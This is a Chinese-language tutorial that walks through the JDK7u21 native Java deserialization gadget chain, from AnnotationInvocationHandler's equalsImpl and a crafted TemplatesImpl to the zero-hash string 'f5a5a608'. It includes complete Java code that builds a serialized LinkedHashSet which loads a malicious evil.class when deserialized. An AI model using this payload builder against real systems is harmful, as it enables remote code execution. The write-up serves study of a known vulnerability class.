java原生链利用
在上一个文章中我们利用Java原生链进行shiro的无依赖利用;
针对在没有第三方库的时候,我们该如何进行java反序列化;
确实存在一条不依赖第三方库的java反序列化利用链;但它适用于jdk7u21;
原理:
我们都知道在java反序列化中最核心的地方在于最后可以触发动态命令执行的地方;
比如cc链中的transform链和是TemplatesImp的动态加载字节码;
其实从广义上来说反序列化最终目的是为了触发 "我们可以进行的一些"操作";
命令执行是一种目的 urldns链也是一种目的,最终都是通过反序列化的一系列触发来达到我们要实现的目的;也就是漏洞利用的目的;
简单来说,如果最终目的是进行文件读取,就找到可以文件读取的地方;通过路径回溯,拼接然后通过java反序列串联这个路径最终达到文件读取的目的
但大多数java反序列化和命令执行是绕不开的,正因为它足够自由,在一定的限度下允许我们最大限度的拼接;最后达到命令执行的目的;
在jdk7u21这条链中的最终目的也是命令执行;
那么该怎么达到这个目的呢?
既然是原生链;我们会找一些原生类中的触发命令执行的地方
这个路径依赖于到AnnotationInvocationHandler类的equalsImpl方法;
源码如下

java
private Boolean equalsImpl(Object var1) {
if (var1 == this) {
return true;
} else if (!this.type.isInstance(var1)) {
return false;
} else {
for(Method var5 : this.getMemberMethods()) {
String var6 = var5.getName();
Object var7 = this.memberValues.get(var6);
Object var8 = null;
AnnotationInvocationHandler var9 = this.asOneOfUs(var1);
if (var9 != null) {
var8 = var9.memberValues.get(var6);
} else {
try {
var8 = var5.invoke(var1);
} catch (InvocationTargetException var11) {
return false;
} catch (IllegalAccessException var12) {
throw new AssertionError(var12);
}
}
if (!memberValueEquals(var7, var8)) {
return false;
}
}
return true;
}
}
从代码中!this.type.isInstance(var1)可以知道当type是接口时,会进入else;会通过type.getDeclaredMethods() 遍历type接口的所有方法;
代码中 AnnotationInvocationHandler var9 = this.asOneOfUs(var1);是判断是否是实现了AnnotationInvocationHandler接口的 注解类,是就进行强制转换不是就返回null

当type不是实现了AnnotationInvocationHandler接口的注解类时返回null,调用 var5.invoke(var1);
所以当type = Templates.class(非实现了AnnotationInvocationHandler接口的非注解接口)
时:
遍历返回的就是接口中声明的两个方法:
newTransformer()
getOutputProperties()
也就是说,当 var1
是恶意构造的 TemplatesImpl
对象时,反射调用其 newTransformer()
或 getOutputProperties()
会触发字节码加载。
我们知道在 type是作为 注解类参数存在的,因此要想触发equalsImpl 方法中的遍历必须让注解类参数为Templates.class

也就是
java
InvocationHandler tempHandler = (InvocationHandler) handlerConstructor.newInstance(Templates.class, map);
那么如何调用equalsImpl方法并自动触发呢?
我们在AnnotationInvocationHandler的invoke方法发现调用了equalsImpl方法

invoke方法我们知道在在cc1链的lazymap版本中是关键一环;
回顾之前的内容
AnnotationInvocationHandler是一个InvocationHandler的实现类;
可以作为动态代理的"处理器"
而我们都知道InvocationHandler是一个接口,他只有一个方法就是invoke:
java
public interface InvocationHandler {
public Object invoke(Object proxy, Method method, Object[] args)
throws Throwable;
}
当 java.reflect.Proxy 动态绑定一个接口时,如果调用该接口中任意一个方法,会执行到这个InvocationHandler的invoke方法
而AnnotationInvocationHandler是它的实现类,当使用AnnotationInvocationHandler作为处理器时;就会执行到AnnotationInvocationHandler的invoke方法;
这就是代理转发;简单来说就是使用InvocationHandler处理器处理被代理类的方法;
事实上这里代理类型和实现的接口并不重要;关键是转发;因为equal是Object中的方法,所有的类都继承这个方法;只需要proxy是一个接口类型即可
也就是说:动态代理对象的 equals()
方法被调用时,会路由到 AnnotationInvocationHandler.invoke
→ equalsImpl
java
package org.com.cc;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.nio.file.Files;
import java.nio.file.Paths;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.HashSet;
import java.util.LinkedHashSet;
import java.util.Map;
public class jdk7u21 {
public static void main(String[] args) throws Exception {
//动态字节码部分
byte[] code= Files.readAllBytes(Paths.get("E:\\java学习\\cc1\\src\\main\\java\\org\\com\\cc\\evil.class"));//从文件中加载,加载恶意字节码
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_bytecodes",new byte[][]{code});
setFieldValue(templates,"_name","Hello");
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
String zeroHashCodeStr = "f5a5a608";
// 实例化一个map,并添加Magic Number为key,也就是f5a5a608,value先随便设置一个值
HashMap map = new HashMap();
map.put(zeroHashCodeStr, "foo");
Class clazz=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor=clazz.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
InvocationHandler tempHandler = (InvocationHandler) constructor.newInstance(Templates.class, map);
Map proxy = (Map) Proxy.newProxyInstance(jdk7u21.class.getClassLoader(), new Class[]{Map.class}, tempHandler);
proxy.equals(templates);
}
private static void setFieldValue(Object obj, String fieldName, Object value)
throws Exception {
Class<?> clazz = obj.getClass();
Field field = null;
// 循环查找字段(包括父类)
while (clazz != null) {
try {
field = clazz.getDeclaredField(fieldName);
break;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
if (field == null) {
throw new NoSuchFieldException(fieldName);
}
field.setAccessible(true);
field.set(obj, value);
}
}

如何在反序列化中自动调用equals方法呢?
找到反序列化过程中自动调用了equals方法的类,可以查找这个方法的用例(是在太多了);
所以猜测equals函数的类常常**会进行元素间的比较;**目的用于去重或者排序;
而去重我们自然而然可以想到 集合数据结构(元素之间不允许有重复)set ->hashset,有关的还有hashtable,hashmap
它们的底层其实都是hashmap,为了避免hash冲突,hashmap的底层又被设计成数组+链表;
数组的每一个元素都是一个链表,当数组的key经过hashcode计算发生冲突时,会通过链表插入冲突的key 也就是key1,key2这样;
在其源码reobject方法中我们可看到它的源码中使用hashmap的 map.put对key进行去重操作

我们发现当实例化对象是LinkeHashset时,map的值为LinkeHashset否则为HashMap
我们跟进put方法(jdk7u21)
我们希望 key.equals值为 templates(上文中的字节码对象),我们可以看到k的值来源于e.key,当key==e.key时 ;e来源于数组中已经存在的键值;
table[i];而i=hash;也就是说 templates的值==e.key时触发;而e.key是有遍历table[i]中得来;
因此触发条件是发生hash冲突也就是,处于数组的同一条链表上;
因此我们就需要构造与templates hash值相等的对象;
我们构造proxy对象和templates对象的hash相等
我们可以看到hash的值来源于hashcode,我们只需要让两者的hashcode相等

但TemplateImpl的 hashCode() 是一个Native方法,每次运行都会发生变化,我们理论上是无法预测的;所以想让proxy的 hashCode() 与之相等,只能寄希望于proxy.hashCode()
而在反序列化过程中,调用proxy.hashCode()会调用AnnotationInvocationHandler的invoke,从而调用 hashcodeImpl()
我们跟进hashcodeImpl源码

java
private int hashCodeImpl() {
int var1 = 0;
for(Map.Entry var3 : this.memberValues.entrySet()) {
var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue());
}
return var1;
}
这段代码会遍历map数组所有的元素的keu和value;
但当只有一个key和value的时候就只计算一次
127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue());
但我们知道0异或任何 数,是任何数,取key.hashcode=0时
var1就会只取value.hashcode的值;
当value.hashcode为TemplateImpl值时,proxy的hash=TemplateImpl的hash
因此我们构造一个key.hashcode=0的对象作为proxy.key(var3.getKey())的值,TemplateImpl对象作为proxy.value(var3.getValue())的值
二者hashcode就相等了
找一个hashCode是0的对象,我们可以写一个简单的爆破程序来实现:
java
public static void bruteHashCode()
{
for (long i = 0; i < 9999999999L; i++) {
if (Long.toHexString(i).hashCode() == 0) {
System.out.println(Long.toHexString(i));
}
}
}
最后得到字符串
f5a5a608
payload
java
package org.com.cc;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.nio.file.Files;
import java.nio.file.Paths;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.HashSet;
import java.util.LinkedHashSet;
import java.util.Map;
public class jdk7u21 {
public static void main(String[] args) throws Exception {
//动态字节码部分
byte[] code= Files.readAllBytes(Paths.get("E:\\java学习\\cc1\\src\\main\\java\\org\\com\\cc\\evil.class"));//从文件中加载,加载恶意字节码
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_bytecodes",new byte[][]{code});
setFieldValue(templates,"_name","Hello");
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
String zeroHashCodeStr = "f5a5a608";
// 实例化一个map,并添加Magic Number为key,也就是f5a5a608,value先随便设置一个值
HashMap map = new HashMap();
map.put(zeroHashCodeStr, "123");
Class clazz=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor=clazz.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
InvocationHandler tempHandler = (InvocationHandler) constructor.newInstance(Templates.class, map);
Map proxy = (Map) Proxy.newProxyInstance(jdk7u21.class.getClassLoader(), new Class[]{Map.class}, tempHandler);
// proxy.equals(templates);
HashSet set = new LinkedHashSet();
set.add(templates);
set.add(proxy);
// 将恶意templates设置到map中
map.put(zeroHashCodeStr, templates);
System.out.println(proxy.hashCode()==templates.hashCode());//此時二者相等
System.out.println(map.hashCode()==proxy.hashCode());//此時二者相等
System.out.println(templates.hashCode()==map.hashCode());//此時二者相等
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
ObjectOutputStream oss = new ObjectOutputStream(outputStream);
oss.writeObject(set);
oss.close();
// System.out.println(outputStream);
ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(outputStream.toByteArray()));
Object object = objectInputStream.readObject();
}
private static void setFieldValue(Object obj, String fieldName, Object value)
throws Exception {
Class<?> clazz = obj.getClass();
Field field = null;
// 循环查找字段(包括父类)
while (clazz != null) {
try {
field = clazz.getDeclaredField(fieldName);
break;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
if (field == null) {
throw new NoSuchFieldException(fieldName);
}
field.setAccessible(true);
field.set(obj, value);
}
}

总结:这篇文章讲了java原生链的利用;
通过在AnnotationInvocationHandler中找到 equalsImpl方法发现 当type为非AnnotationInvocationHandler注解类接口时,会遍历传进来的非注解接口的方法;于是我们构造Templates类,发现在invoke中调用了这个方法,于是我们通过动态代理来代理让AnnotationInvocationHandler作为处理器,这样执行的方法就会转发给AnnotationInvocationHandler的invoke处理;我们发现当被代理类执行equals方法时就会执行invoke,但在无法显示执行时,我们在Hashset中发现进行了去重,在其map.put中调用了equals方法;且当两个对象的hashcode相等时触发equals方法;于是我们构造proxy的hashcode等于templates的hashcode也就是使用0异或任何数结果为0进行构造 得到f5a5a608的hashcode为0 ;调用map.put(zeroHashCodeStr, templates)使其相等;在反序列化进行去重计算的时候二者的hashcode相等;
流程梳理:
首先实例化一个templates类;
创建一个hashmap
使用AnnotationInvocationHandler进行包装 传入非AnnotationInvocationHandler注解类Template.class
使用动态代理,目的是触发AnnotationInvocationHandler->invoke->equalsImpl
新建 Hashset对象
添加两个对象templates ,proxy
map.put时会使两个对象的hashcode相等,原理是map是proxy的被代理对象,操作map相当于操作proxy,因此 map.put(zeroHashCodeStr, templates);就返回templates.hashcode=proxy.hashcode了;在反序列化时会再计算一次,发现两者相等触发equals,再触发invoke,触发equalsImpl;再触发invoke加载恶意字节码;
------------------------备注----------------------
参考 :p牛->知识星球->代码审计->java系列文章